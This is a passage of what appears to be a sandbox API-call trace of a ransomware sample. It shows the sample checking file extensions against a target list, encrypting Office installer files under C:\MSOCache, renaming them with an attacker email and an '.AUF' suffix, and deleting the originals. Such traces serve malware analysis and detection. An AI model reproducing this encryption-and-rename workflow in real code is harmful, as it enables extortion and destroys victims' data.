(lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".zip") returned 4 [0206.457] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".rar") returned 4 [0206.457] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0206.457] lstrlenW (lpString=".bz2") returned 4 [0206.457] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString=".7z") returned 3 [0206.457] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".dbf") returned 4 [0206.457] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0206.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.457] lstrlenW (lpString=".1cd") returned 4 [0206.458] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0206.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0206.458] lstrlenW (lpString=".jpg") returned 4 [0206.458] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0206.458] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0206.458] lstrlenW (lpString="WordMUI.msi") returned 11 [0206.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0206.458] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=2522624) returned 1 [0206.458] CloseHandle (hObject=0x17c) returned 1 [0206.458] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0206.458] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.458] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0206.459] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0206.459] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0206.459] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.459] ReadFile (in: hFile=0x17c, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.719] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0206.719] ReadFile (in: hFile=0x17c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0208.010] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0208.010] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0208.010] ReadFile (in: hFile=0x17c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0208.677] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.677] WriteFile (in: hFile=0x17c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0208.689] SetEndOfFile (hFile=0x17c) returned 1 [0208.692] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.692] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.693] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.693] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.698] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.698] WriteFile (in: hFile=0x17c, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.700] CloseHandle (hObject=0x17c) returned 1 [0209.525] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0209.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.525] lstrlenW (lpString=".doc") returned 4 [0209.525] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.525] lstrlenW (lpString=".docx") returned 5 [0209.525] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0209.525] lstrlenW (lpString=".pdf") returned 4 [0209.525] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.525] lstrlenW (lpString=".xls") returned 4 [0209.525] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.525] lstrlenW (lpString=".xlsx") returned 5 [0209.525] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0209.525] lstrlenW (lpString=".ppt") returned 4 [0209.525] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.525] lstrlenW (lpString=".zip") returned 4 [0209.525] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.525] lstrlenW (lpString=".rar") returned 4 [0209.525] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.525] lstrlenW (lpString=".bz2") returned 4 [0209.525] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.525] lstrlenW (lpString=".7z") returned 3 [0209.525] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.525] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.525] lstrlenW (lpString=".dbf") returned 4 [0209.526] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".1cd") returned 4 [0209.526] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".jpg") returned 4 [0209.526] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".doc") returned 4 [0209.526] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString=".docx") returned 5 [0209.526] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0209.526] lstrlenW (lpString=".pdf") returned 4 [0209.526] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.526] lstrlenW (lpString=".xls") returned 4 [0209.526] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.526] lstrlenW (lpString=".xlsx") returned 5 [0209.526] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0209.526] lstrlenW (lpString=".ppt") returned 4 [0209.526] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".zip") returned 4 [0209.526] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.526] lstrlenW (lpString=".rar") returned 4 [0209.526] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.526] lstrlenW (lpString=".bz2") returned 4 [0209.526] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString=".7z") returned 3 [0209.526] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".dbf") returned 4 [0209.526] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".1cd") returned 4 [0209.526] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0209.526] lstrlenW (lpString=".jpg") returned 4 [0209.526] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.526] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0209.526] lstrlenW (lpString="Proof.msi") returned 9 [0209.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.534] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=881152) returned 1 [0209.534] CloseHandle (hObject=0x1dc) returned 1 [0209.534] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0209.534] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.535] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.535] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0209.535] GetLastError () returned 0x0 [0209.535] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0209.606] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0209.629] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.629] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.629] SetEndOfFile (hFile=0x1e0) returned 1 [0209.630] CloseHandle (hObject=0x1e0) returned 1 [0209.700] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.700] SetEndOfFile (hFile=0x1dc) returned 1 [0209.719] CloseHandle (hObject=0x1dc) returned 1 [0209.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0209.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".doc") returned 4 [0209.720] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString=".docx") returned 5 [0209.720] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.720] lstrlenW (lpString=".pdf") returned 4 [0209.720] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".xls") returned 4 [0209.720] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".xlsx") returned 5 [0209.720] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.720] lstrlenW (lpString=".ppt") returned 4 [0209.720] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".zip") returned 4 [0209.720] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".rar") returned 4 [0209.720] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".bz2") returned 4 [0209.720] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString=".7z") returned 3 [0209.720] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".dbf") returned 4 [0209.720] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".1cd") returned 4 [0209.720] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".jpg") returned 4 [0209.720] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.720] lstrlenW (lpString=".doc") returned 4 [0209.720] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.720] lstrlenW (lpString=".docx") returned 5 [0209.720] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.720] lstrlenW (lpString=".pdf") returned 4 [0209.720] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".xls") returned 4 [0209.720] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.720] lstrlenW (lpString=".xlsx") returned 5 [0209.720] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.721] lstrlenW (lpString=".ppt") returned 4 [0209.721] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.721] lstrlenW (lpString=".zip") returned 4 [0209.721] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.721] lstrlenW (lpString=".rar") returned 4 [0209.721] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.721] lstrlenW (lpString=".bz2") returned 4 [0209.721] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.721] lstrlenW (lpString=".7z") returned 3 [0209.721] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.721] lstrlenW (lpString=".dbf") returned 4 [0209.721] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.721] lstrlenW (lpString=".1cd") returned 4 [0209.721] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0209.721] lstrlenW (lpString=".jpg") returned 4 [0209.721] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.721] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0209.721] lstrlenW (lpString="Proof.msi") returned 9 [0209.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.721] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=885760) returned 1 [0209.721] CloseHandle (hObject=0x1dc) returned 1 [0209.721] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0209.721] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.722] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.722] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0209.722] GetLastError () returned 0x0 [0209.722] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0209.911] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0209.922] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.922] WriteFile (in: hFile=0x184, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.922] SetEndOfFile (hFile=0x184) returned 1 [0209.923] CloseHandle (hObject=0x184) returned 1 [0209.928] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.928] SetEndOfFile (hFile=0x1dc) returned 1 [0209.935] CloseHandle (hObject=0x1dc) returned 1 [0209.935] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0209.935] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0209.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.935] lstrlenW (lpString=".doc") returned 4 [0209.935] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.981] lstrlenW (lpString=".docx") returned 5 [0209.981] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.981] lstrlenW (lpString=".pdf") returned 4 [0209.981] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.981] lstrlenW (lpString=".xls") returned 4 [0209.981] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.981] lstrlenW (lpString=".xlsx") returned 5 [0209.981] lstrcmpiW (lpString1=".xlsx", 